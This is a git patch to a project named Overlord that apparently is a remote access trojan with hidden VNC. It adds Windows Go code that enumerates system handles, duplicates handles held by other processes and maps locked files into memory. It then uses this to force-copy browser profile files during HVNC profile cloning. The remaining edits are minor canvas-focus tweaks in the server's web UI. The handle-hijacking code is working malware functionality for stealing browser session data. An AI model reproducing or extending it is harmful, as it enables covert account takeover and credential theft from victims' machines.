From 1de951403c30cb140218891f907d37f3091001b8 Mon Sep 17 00:00:00 2001 From: KingKDot Date: Mon, 16 Mar 2026 18:29:27 -0500 Subject: [PATCH] new hvnc --- .../cmd/agent/capture/handle_hijack_stub.go | 30 ++ .../agent/capture/handle_hijack_windows.go | 318 ++++++++++++++++++ .../cmd/agent/capture/hvnc_inject_windows.go | 6 +- Overlord-Server/public/assets/hvnc.js | 6 +- .../public/assets/remotedesktop.js | 6 +- 5 files changed, 357 insertions(+), 9 deletions(-) create mode 100644 Overlord-Client/cmd/agent/capture/handle_hijack_stub.go create mode 100644 Overlord-Client/cmd/agent/capture/handle_hijack_windows.go diff --git a/Overlord-Client/cmd/agent/capture/handle_hijack_stub.go b/Overlord-Client/cmd/agent/capture/handle_hijack_stub.go new file mode 100644 index 0000000..6c0ad63 --- /dev/null +++ b/Overlord-Client/cmd/agent/capture/handle_hijack_stub.go @@ -0,0 +1,30 @@ +//go:build !windows + +package capture + +import ( + "io" + "os" + "path/filepath" +) + +func forceCopyFile(src, dst string) (int64, error) { + in, err := os.Open(src) + if err != nil { + return 0, err + } + defer in.Close() + if err := os.MkdirAll(filepath.Dir(dst), 0700); err != nil { + return 0, err + } + out, err := os.OpenFile(dst, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0600) + if err != nil { + return 0, err + } + defer out.Close() + return io.Copy(out, in) +} + +func forceReadFile(filePath string) ([]byte, error) { + return os.ReadFile(filePath) +} diff --git a/Overlord-Client/cmd/agent/capture/handle_hijack_windows.go b/Overlord-Client/cmd/agent/capture/handle_hijack_windows.go new file mode 100644 index 0000000..20a00ef --- /dev/null +++ b/Overlord-Client/cmd/agent/capture/handle_hijack_windows.go @@ -0,0 +1,318 @@ +//go:build windows + +package capture + +import ( + "log" + "os" + "strings" + "syscall" + "unsafe" +) + +var ( + ntdll = syscall.NewLazyDLL("ntdll.dll") + rstrtmgr = syscall.NewLazyDLL("rstrtmgr.dll") + procNtQuerySystemInformation = ntdll.NewProc("NtQuerySystemInformation") + procDuplicateHandle = kernel32.NewProc("DuplicateHandle") + procGetCurrentProcess = kernel32.NewProc("GetCurrentProcess") + procGetFileType = kernel32.NewProc("GetFileType") + procGetFinalPathNameByHandleW = kernel32.NewProc("GetFinalPathNameByHandleW") + procGetFileSizeEx = kernel32.NewProc("GetFileSizeEx") + procRmStartSession = rstrtmgr.NewProc("RmStartSession") + procRmEndSession = rstrtmgr.NewProc("RmEndSession") + procRmRegisterResources = rstrtmgr.NewProc("RmRegisterResources") + procRmGetList = rstrtmgr.NewProc("RmGetList") +) + +const ( + systemExtendedHandleInformation = 64 + statusInfoLengthMismatch = 0xC0000004 + processDupHandle = 0x0040 + duplicateSameAccess = 0x00000002 + pageReadonly = 0x02 + fileMapRead = 0x04 + fileTypeDisk = 0x0001 +) + +type systemHandleTableEntryInfoEx struct { + Object uintptr + UniqueProcessId uintptr + HandleValue uintptr + GrantedAccess uint32 + CreatorBackTrace uint16 + ObjectTypeIndex uint16 + HandleAttributes uint32 + Reserved uint32 +} + +func forceReadFile(filePath string) ([]byte, error) { + data, err := os.ReadFile(filePath) + if err == nil { + return data, nil + } + if !isFileLocked(err) { + return nil, err + } + + log.Printf("[handle-hijack] file locked, attempting hijack: %s", filePath) + + lockingPids := getProcessesLockingFile(filePath) + + currentProcess, _, _ := procGetCurrentProcess.Call() + + var bufSize uint32 = 1024 * 1024 + var buf []byte + for { + buf = make([]byte, bufSize) + var returnLength uint32 + status, _, _ := procNtQuerySystemInformation.Call( + systemExtendedHandleInformation, + uintptr(unsafe.Pointer(&buf[0])), + uintptr(bufSize), + uintptr(unsafe.Pointer(&returnLength)), + ) + if status == statusInfoLengthMismatch { + bufSize = returnLength + 4096 + continue + } + if status != 0 { + return nil, err + } + break + } + + numHandles := *(*uintptr)(unsafe.Pointer(&buf[0])) + entrySize := unsafe.Sizeof(systemHandleTableEntryInfoEx{}) + headerSize := 2 * unsafe.Sizeof(uintptr(0)) + + for i := uintptr(0); i < numHandles; i++ { + offset := headerSize + i*entrySize + if offset+entrySize > uintptr(len(buf)) { + break + } + entry := (*systemHandleTableEntryInfoEx)(unsafe.Pointer(&buf[offset])) + + pid := uint32(entry.UniqueProcessId) + + if len(lockingPids) > 0 { + found := false + for _, lp := range lockingPids { + if lp == pid { + found = true + break + } + } + if !found { + continue + } + } + + hProcess, _, _ := procOpenProcess.Call(processDupHandle, 0, uintptr(pid)) + if hProcess == 0 { + continue + } + + var dupHandle uintptr + ok, _, _ := procDuplicateHandle.Call( + hProcess, + entry.HandleValue, + currentProcess, + uintptr(unsafe.Pointer(&dupHandle)), + 0, 0, duplicateSameAccess, + ) + procCloseHandle.Call(hProcess) + if ok == 0 || dupHandle == 0 { + continue + } + + ft, _, _ := procGetFileType.Call(dupHandle) + if ft != fileTypeDisk { + procCloseHandle.Call(dupHandle) + continue + } + + handlePath := getPathFromHandle(dupHandle) + if handlePath == "" { + procCloseHandle.Call(dupHandle) + continue + } + if strings.HasPrefix(handlePath, `\\?\`) { + handlePath = handlePath[4:] + } + + if !strings.EqualFold(handlePath, filePath) { + procCloseHandle.Call(dupHandle) + continue + } + + log.Printf("[handle-hijack] found matching handle from PID %d", pid) + data := readFileFromHandle(dupHandle) + procCloseHandle.Call(dupHandle) + if data != nil { + log.Printf("[handle-hijack] read %d bytes via hijacking", len(data)) + return data, nil + } + } + + return nil, err +} + +func forceCopyFile(src, dst string) (int64, error) { + n, err := copyFileCount(src, dst) + if err == nil { + return n, nil + } + if !isFileLocked(err) { + return 0, err + } + + data, hijackErr := forceReadFile(src) + if hijackErr != nil || data == nil { + return 0, err + } + + if mkErr := os.MkdirAll(getDir(dst), 0700); mkErr != nil { + return 0, mkErr + } + if wErr := os.WriteFile(dst, data, 0600); wErr != nil { + return 0, wErr + } + return int64(len(data)), nil +} + +func getDir(path string) string { + for i := len(path) - 1; i >= 0; i-- { + if path[i] == '\\' || path[i] == '/' { + return path[:i] + } + } + return "." +} + +func getPathFromHandle(handle uintptr) string { + buf := make([]uint16, 32768) + n, _, _ := procGetFinalPathNameByHandleW.Call( + handle, + uintptr(unsafe.Pointer(&buf[0])), + uintptr(len(buf)), + 0, // FILE_NAME_NORMALIZED + ) + if n == 0 || n >= uintptr(len(buf)) { + return "" + } + return syscall.UTF16ToString(buf[:n]) +} + +func readFileFromHandle(handle uintptr) []byte { + hMapping, _, _ := procCreateFileMappingW.Call( + handle, 0, pageReadonly, 0, 0, 0, + ) + if hMapping == 0 { + return nil + } + defer procCloseHandle.Call(hMapping) + + var fileSize int64 + ok, _, _ := procGetFileSizeEx.Call(handle, uintptr(unsafe.Pointer(&fileSize))) + if ok == 0 || fileSize <= 0 { + return nil + } + + baseAddr, _, _ := procMapViewOfFile.Call( + hMapping, fileMapRead, 0, 0, uintptr(fileSize), + ) + if baseAddr == 0 { + return nil + } + defer procUnmapViewOfFile.Call(baseAddr) + + data := make([]byte, fileSize) + copy(data, unsafe.Slice((*byte)(unsafe.Pointer(baseAddr)), fileSize)) + return data +} + +func isFileLocked(err error) bool { + if err == nil { + return false + } + // Windows error 32: ERROR_SHARING_VIOLATION + // Windows error 33: ERROR_LOCK_VIOLATION + msg := err.Error() + return strings.Contains(msg, "being used by another process") || + strings.Contains(msg, "locked a portion of the file") +} + +type rmUniqueProcess struct { + ProcessId uint32 + ProcessStartTime syscall.Filetime +} + +type rmProcessInfo struct { + Process rmUniqueProcess + AppName [256]uint16 + ServiceShortName [64]uint16 + ApplicationType uint32 + AppStatus uint32 + TSSessionId uint32 + Restartable int32 +} + +func getProcessesLockingFile(filePath string) []uint32 { + sessionKey, _ := syscall.UTF16PtrFromString("ovd_" + filePath[len(filePath)-8:]) + var sessionHandle uint32 + + ret, _, _ := procRmStartSession.Call( + uintptr(unsafe.Pointer(&sessionHandle)), + 0, + uintptr(unsafe.Pointer(sessionKey)), + ) + if ret != 0 { + return nil + } + defer procRmEndSession.Call(uintptr(sessionHandle)) + + filePathW, _ := syscall.UTF16PtrFromString(filePath) + ret, _, _ = procRmRegisterResources.Call( + uintptr(sessionHandle), + 1, + uintptr(unsafe.Pointer(&filePathW)), + 0, 0, 0, 0, + ) + if ret != 0 { + return nil + } + + var needed, count uint32 + var rebootReason uint32 + ret, _, _ = procRmGetList.Call( + uintptr(sessionHandle), + uintptr(unsafe.Pointer(&needed)), + uintptr(unsafe.Pointer(&count)), + 0, + uintptr(unsafe.Pointer(&rebootReason)), + ) + // ERROR_MORE_DATA = 234 + if ret != 234 || needed == 0 { + return nil + } + + infos := make([]rmProcessInfo, needed) + count = needed + ret, _, _ = procRmGetList.Call( + uintptr(sessionHandle), + uintptr(unsafe.Pointer(&needed)), + uintptr(unsafe.Pointer(&count)), + uintptr(unsafe.Pointer(&infos[0])), + uintptr(unsafe.Pointer(&rebootReason)), + ) + if ret != 0 { + return nil + } + + pids := make([]uint32, 0, count) + for i := uint32(0); i < count; i++ { + pids = append(pids, infos[i].Process.ProcessId) + } + return pids +} diff --git a/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go b/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go index 45391e3..1e552b1 100644 --- a/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go +++ b/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go @@ -450,7 +450,7 @@ func cloneBrowserProfile(browserName string, srcUserData string, lite bool, onPr } } else { // Top-level files (Local State, etc.) - n, err := copyFileCount(src, dst) + n, err := forceCopyFile(src, dst) if err != nil { log.Printf("hvnc %s: warning: could not copy %s: %v", browserName, name, err) } else { @@ -551,7 +551,7 @@ func cloneProfileDirProgress(browserName, src, dst string, skipDirs map[string]b log.Printf("hvnc %s: warning: could not copy %s: %v", browserName, name, err) } } else { - n, err := copyFileCount(s, d) + n, err := forceCopyFile(s, d) if err != nil { log.Printf("hvnc %s: warning: could not copy %s: %v", browserName, name, err) } else { @@ -592,7 +592,7 @@ func copyDirProgress(src, dst string, report func(int64)) error { if info.IsDir() { return os.MkdirAll(target, 0700) } - n, err := copyFileCount(path, target) + n, err := forceCopyFile(path, target) if err == nil { report(n) } diff --git a/Overlord-Server/public/assets/hvnc.js b/Overlord-Server/public/assets/hvnc.js index c9e3ab3..a5577cf 100644 --- a/Overlord-Server/public/assets/hvnc.js +++ b/Overlord-Server/public/assets/hvnc.js @@ -690,7 +690,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; }); canvas.addEventListener("mousedown", function (e) { if (!mouseCtrl.checked) return; - canvas.focus(); + canvas.focus({ preventScroll: true }); const pt = getCanvasPoint(e); if (pt) { pendingMove = pt; @@ -728,12 +728,12 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; canvas.setAttribute("tabindex", "0"); canvas.addEventListener("click", function () { - canvas.focus(); + canvas.focus({ preventScroll: true }); }); if (kbdCtrl) { kbdCtrl.addEventListener("change", function () { if (kbdCtrl.checked) { - canvas.focus(); + canvas.focus({ preventScroll: true }); } }); } diff --git a/Overlord-Server/public/assets/remotedesktop.js b/Overlord-Server/public/assets/remotedesktop.js index 7783a82..eb9959c 100644 --- a/Overlord-Server/public/assets/remotedesktop.js +++ b/Overlord-Server/public/assets/remotedesktop.js @@ -417,7 +417,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; }); kbdCtrl.addEventListener("change", function () { if (kbdCtrl.checked) { - canvas.focus(); + canvas.focus({ preventScroll: true }); } pushInputToggles(); }); @@ -958,7 +958,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; }); canvas.addEventListener("mousedown", function (e) { if (!mouseCtrl.checked) return; - canvas.focus(); + canvas.focus({ preventScroll: true }); const pt = getCanvasPoint(e); if (pt) { pendingMove = pt; @@ -985,7 +985,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js"; canvas.setAttribute("tabindex", "0"); canvas.addEventListener("click", function () { - canvas.focus(); + canvas.focus({ preventScroll: true }); }); canvas.addEventListener("keydown", function (e) { if (!kbdCtrl.checked) return;